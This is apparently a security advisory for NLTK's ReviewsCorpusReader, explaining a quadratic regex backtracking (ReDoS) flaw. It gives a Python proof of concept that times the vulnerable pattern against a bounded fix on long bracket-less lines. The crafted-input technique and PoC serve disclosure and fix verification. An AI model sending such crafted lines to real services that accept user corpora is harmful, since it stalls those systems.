Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex
Summary
ReviewsCorpusReader extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents(). Details
The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal[. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.PoC
import multiprocessing as mp
import re
import time--- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")--- Bounded variant from the fix (PR #3583): cap the per-label word run.
A generous bound (real feature labels are short noun phrases) makes the
run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)TIMEOUT = 20.0 # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line
def _bad_line(n_words):
"""A long line of plain words with NO trailing bracketed annotation."""
return ("word " * n_words).rstrip()
def _worker(pattern_str, line, q):
pat = re.compile(pattern_str)
t0 = time.perf_counter()
pat.findall(line)
q.put(time.perf_counter() - t0)
def timed_findall(pattern, line, timeout=TIMEOUT):
"""Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
q = mp.Queue()
p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
p.start()
p.join(timeout)
if p.is_alive():
p.terminate()
p.join()
return None
return q.get() if not q.empty() else None
def bench(label, pattern):
print(f"\n[{label}] pattern: {pattern.pattern}")
print(f" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}")
prev = None
for n in SIZES:
line = _bad_line(n)
t = timed_findall(pattern, line)
if t is None:
print(f" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}")
prev = None
else:
ratio = f"{t/prev:.1f}x" if prev else "--"
print(f" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}")
prev = t
def parity_check():
"""The bound must NOT change extraction on a realistic annotated line."""
real = (
"the picture quality[+2] and battery life[+1] are great but "
"the lens cap[-1] feels cheap and the menu system[-2] is slow"
)
a = FEATURES_VULN.findall(real)
b = FEATURES_FIXED.findall(real)
print("\n[parity] realistic annotated line — extraction must be identical")
print(f" vulnerable regex -> {a}")
print(f" bounded regex -> {b}")
print(f" identical: {a == b}")
return a == b
def main():
print("=" * 66)
print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
print("=" * 66)
print(f" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}")
bench("VULNERABLE reviews.py L70-71", FEATURES_VULN)
bench("BOUNDED fix #3583", FEATURES_FIXED)
same = parity_check()
print("\n" + "=" * 66)
print(" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS")
print(" Bounded: ~2x time per input doubling => O(n) linear, stays in ms")
print(f" Extraction parity on real annotations preserved: {same}")
print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
print("=" * 66)
if __name__ == "__main__":
main()
Impact
Denial of service. Processing a single crafted line throughReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.